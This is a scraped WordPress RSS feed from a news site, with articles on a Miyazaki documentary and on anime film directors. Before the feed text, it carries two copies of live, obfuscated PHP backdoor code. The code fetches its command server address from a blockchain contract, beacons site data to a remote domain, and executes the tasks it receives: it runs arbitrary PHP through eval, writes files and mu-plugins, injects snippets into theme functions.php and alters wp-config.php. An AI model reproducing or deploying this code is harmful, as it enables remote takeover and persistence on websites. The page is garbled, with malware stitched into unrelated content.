// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); 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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Hayao – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 28 Jan 2019 04:57:59 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Hayao – Brief News https://briefnews.eu 32 32 Hayao Miyazaki doc: An analog animation master finds new technical challenges https://briefnews.eu/hayao-miyazaki-doc-an-analog-animation-master-finds-new-technical-challenges/ https://briefnews.eu/hayao-miyazaki-doc-an-analog-animation-master-finds-new-technical-challenges/#respond Mon, 28 Jan 2019 04:57:59 +0000 http://briefnews.eu/hayao-miyazaki-doc-an-analog-animation-master-finds-new-technical-challenges/

The trailer for Never-Ending Man: Hayao Miyazaki

If the name Hayao Miyazaki means anything to you, new documentary Never-Ending Man will, too. The film provides a pretty intimate, charming portrayal of the legendary animator from the announcement of his retirement (September 2013) through much of the production on Boro The Caterpillar, Miyazaki’s first film done entirely with CGI (that short film debuted last year).

Throughout a short hour-ish run time, this documentary maintains a very narrow focus. Never-Ending Man really only consists of footage of Miyazaki at home or at the studio, and it relies solely on interviews directly with the man or with collaborators on this project. The approach allows viewers to draw their own conclusions about why this work remains great and what makes Miyazaki tick rather than having any longtime observers or contemporaries spell such things out.

Even at this age (in his 70s), Miyazaki has an incredible dedication to detail, for instance. To make a less-than-15-minute short about a caterpillar, he’s putting insects under a microscope and working through several hand-drawn interactions before anything shows up on a computer screen. In early film footage showing pre-CGI life at Studio Ghibli, Miyazaki stands over young illustrator shoulders and offers nuanced feedback: “It’s important to draw full human beings, you’re drawing people not characters,” he tells them, soon offering slight critiques on a character’s running form or how they hold a bundled up blanket. Later when working with CGI, Miyazaki may not understand or have comfort with the tools and medium, but he continues to share similarly micro observations. “The turning motion is too adult like,” he says, watching an early render of Boro looking around his landscape. “Babies don’t turn their heads so sharply.”

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]]> https://briefnews.eu/hayao-miyazaki-doc-an-analog-animation-master-finds-new-technical-challenges/feed/ 0 The Top 5 Anime Film Directors Working Today Who Aren’t Hayao Miyazaki https://briefnews.eu/the-top-5-anime-film-directors-working-today-who-arent-hayao-miyazaki/ https://briefnews.eu/the-top-5-anime-film-directors-working-today-who-arent-hayao-miyazaki/#respond Mon, 03 Sep 2018 20:26:20 +0000 http://briefnews.eu/the-top-5-anime-film-directors-working-today-who-arent-hayao-miyazaki/ anime film directors

(Welcome to Let’s Get Animated!, a column that spotlights the best of film animation. In this edition: the best modern anime film directors to keep an eye on.)

Ask any animation buff and they can list off a handful of great Western animation directors, and one Japanese one. Despite anime’s place on the global stage — dominating the pop culture stratosphere since the ‘90s and going on to win prestige thanks to the efforts of Studio Ghibli — most people still think of Hayao Miyazaki as the lone renowned anime filmmaker. But simply taking a shallow dive into the anime industry proves that is not the case.

That’s right, I’m back to talking about anime. While last time I gave you a beginner’s guide to the best gateway anime, this month I’ll be covering some of the most promising and accomplished anime film directors working today. Most of these filmmakers have had to ward off breathless press questions about whether they consider themselves “the Next Miyazaki” or had their films endlessly compared to Studio Ghibli’s catalogue. But these filmmakers have more than proved that they can stand on their own.

Let it be known that this list will exclusively cover directors still working today, and who work mostly in film. (So, no Isao Takahata, or Satoshi Kon, who is a master due for his own column sometime in the future.)

Mamoru Hosoda

There’s something about Mamoru Hosoda’s fluid, membrane-like animation style that recalls something out of a dream. His penchant for exploring fantastical stories that burst to the seams with whimsy only serve to make his films — which range from coming-of-age science-fiction to bittersweet fables — more surreal. Yet his calm and nourishing films are among the most grounded you can find in the anime industry.

The 50-year-old filmmaker got his start on TV before earning his directorial stripes at the young age of 33 helming the movie spin-off of one of the most famous animes at the time, Digimon. Hosoda’s burgeoning talent caught the eye of Studio Ghibli, which offered him the opportunity to direct 2005’s Howl’s Moving Castle, before Miyazaki came out of retirement to take the reins. It wasn’t until 2006 when Hosoda proved himself as an anime auteur in his own right, with the vibrant sci-fi film The Girl Who Leapt Through Time. The movie puts a fresh twist on the familiar Groundhog Day-type story while doubling as a coming-of-age comedy about a selfish, dolt-headed girl who has no right to time travel. It was a breakout hit, and an auspicious sign of things to come. Hosoda would follow up with a string of inarguable hits: the dazzling digital adventure hailing to his first Digimon feature, Summer Wars; the heart-breaking werewolf fable, Wolf Children; and the bonkers fantasy adventure The Boy and the Beast.

Through all of his deeply felt, achingly human films, run the themes of parenthood and love — which he condenses into easily digestible, family-friendly flicks. But there’s a comforting (almost conservative) strain of nostalgia throughout his films that make you feel like you’re coming home.

Best Film: The Girl Who Leapt Through Time

Latest Film: Mirai

Makoto Shinkai

Perhaps the only anime director who has been able to see the Stateside success since Miyazaki is Makoto Shinkai. And it’s fitting that it would happen with his rapturous hit Your Name — the body-switch film felt like the culmination of all of Shinkai’s past works, encompassing all the themes he had tinkered with from his breakout short film Voices of a Distant Star to his photorealistic magnum opus, 5 Centimeters Per Second. And astonishingly, it even bested Ghibli’s at the box office, becoming the highest-grossing film in Japan that year and surpassing Spirited Away as the top-grossing anime film worldwide.

It’s a little perplexing that Your Name would be the crossover hit that could launch Shinkai’s international career. A body-switch comedy that transforms into a metaphysical exploration of loss, all nestled snugly inside a heart-fluttering high school romance. And yet, Your Name spoke to some profound, universal emotions that scored it a wide U.S. release. Your Name is the most endearing that Shinkai has ever been, with broad comedy elements unusual for the philosophical, introspective director who delights in finding tragedy within the mundane. Shinkai has perfected a stunningly realistic visual style that complements his brand of slow-burning storytelling.

In an industry that values speed over animation quality, Shinkai’s meticulous dedication to creating a sumptuous, hyper-real animation style is something to behold. Take his consummate short film, 5 Centimeters Per Second. Shinkai painstakingly recreates ordinary streets and alleyways of Tokyo (seriously, compare photos of the streets with his animated shots! There is no difference!), upon which the camera lingers and somehow bestows an otherworldly magic. Let me revise my previous statement: Shinkai doesn’t find tragedy within the mundane, he finds the magic.

Best Film: 5 Centimeters Per Second

Latest Film: Your Name

Masaaki Yuasa

In the opening minutes of Masaaki Yuasa‘s explosive, exhilarating debut film Mind Game, our hero, the  weak-willed wannabe manga artist Nishi, meets up with his high school crush on the eve of her engagement to another man. At a yakitori bar, he struggles to confess his lingering feelings for her, but is interrupted by a hot-headed ex-football player and his manager who crash into the bar and hold it hostage. Things escalate, and the two assault Myon while Nishi, watching helplessly, gets shot literally up the butt. It’s a brutal, shocking display of violence, amplified by Yuasa’s grotesque, constantly shifting animation style.

As you could guess, Yuasa isn’t for everyone. But you’d be remiss if you avoided the most idiosyncratic, wildly innovating anime director working today. Those first opening minutes of Mind Game only scratch the surface of Yuasa style (and the movie itself, which involves Nishi getting a second chance at the encounter, only for him and Myon to jump off a cliff into the mouth of a whale, where the rest of the movie takes place) and his capacity for testing the limits of animation.

Even within the limits of a two-hour movie, Yuasa can’t seem to decide on an animation style, ping-ponging between flat paper cut-outs, to hastily drawn sketches, and computer-animated…fish? His dizzying, experimental style doesn’t once try to mimic reality, but instead bends it to his whims. It’s no wonder that Yuasa’s one stint in American animation is in the trippy Cartoon Network series Adventure Time, where he tapped into the show’s signature quirky style (and perhaps let it influence his own as well as he heads into family-friendlier territory). His work on Netflix’s Devilman Crybaby exemplifies the best — and worst — of Yuasa’s idiosyncracies (he still has a pretty stunted view of women), but has helped launch him to global success.

Best Film: Mind Game

Latest Film: The Night is Long, Walk On Girl

Mamoru Oshii

Mamoru Oshii changed the anime game when he directed his magnum opus Ghost in the Shell in 1995. The groundbreaking cyberpunk film was a watershed moment in anime industry, helping to put anime on the international stage and going on to directly influence the Wachowski’s The Matrix. The 67-year-old Oshii, one of the older directors on this list, resided in a rapidly industrializing Japan where the lines between technology and reality became increasingly blurred. And his catalogue of works, from the Ghost in the Shell movies to his live-action/animation hybrids, tapped into the anxieties that came with growing up in a swiftly shifting society.

Oshii is famous for his philosophy-oriented storytelling and brutally sleek animation style, which always seem to be at the point of bursting — whether in shows of violence or in shows of dazzling beauty, no one could predict. In recent years, Oshii has moved away from directing anime films in favor of hyperstylized live-action films. But his defining impact on the anime industry will never be lost.

Best Film: Ghost in the Shell

Latest Film: Garm Wars: The Last Druid

Naoko Yamada

At only 33, Naoko Yamada is a bit of an anomaly in the anime industry, rapidly rising to prominence from work as an in-betweener (drawing the frames between the key animation) to the shining star of her studio, Kyoto Animation. And as a woman in a male-dominated industry, she is even more of anomaly. But in her brief career, Yamada has amassed a portfolio that most of her male peers would be green with envy over.

Yamada began her career drawing inbetween frames for the popular anime series Inuyasha, back when the studio had only around 100 employees. She paid her dues at Kyoto Animation, rising through the ranks as an episode director for Clannad before making her directorial debut with the 2009 TV series K-On!, a slice of life high school comedy. She would find her niche in the love stories of adolescence, bringing them to sparkling life with her keen eye for the cinematic.

Yamada directed her breakout film fairly recently with 2016’s A Silent Voice, an adaptation of a manga of the same name by Yoshitoki ?ima. But Yamada’s uniquely cinematic approach infused the film with such vibrancy and liveliness that it immediately launched her name to the top of the animation industry. A Silent Voice is visual storytelling at its most powerful, following a teen boy who seeks redemption for bullying a young deaf girl from his childhood. It’s a film that exists in the small non-verbal gestures between characters, the changing colors of the sky, and an odd amount of shots of legs. Yamada describes these small, subconscious movements in her animation style as the key to how she approaches film, saying, “Anime is one frame by one frame with something a human has created to move around. It’s that ‘animation’ process that moves people. You never forget that intent when creating something.”

Best Film: A Silent Voice

Latest Film: Liz and the Blue Bird

Honorable Mentions

Hideaki Anno (Neon Genesis Evangelion)

Sunao Katabuchi (In This Corner of the World)

Kunihiko Ikuhara (Sailor Moon, Revolutionary Girl Utena)

Rintaro (Metropolis)

Yoshiaki Kawajiri (Ninja Scroll)

The post The Top 5 Anime Film Directors Working Today Who Aren’t Hayao Miyazaki appeared first on /Film.

]]> https://briefnews.eu/the-top-5-anime-film-directors-working-today-who-arent-hayao-miyazaki/feed/ 0 Studio Ghibli reopens for Hayao Miyazaki’s new film https://briefnews.eu/studio-ghibli-reopens-for-hayao-miyazakis-new-film/ https://briefnews.eu/studio-ghibli-reopens-for-hayao-miyazakis-new-film/#respond Sun, 13 Aug 2017 00:00:14 +0000 http://briefnews.eu/studio-ghibli-reopens-for-hayao-miyazakis-new-film/

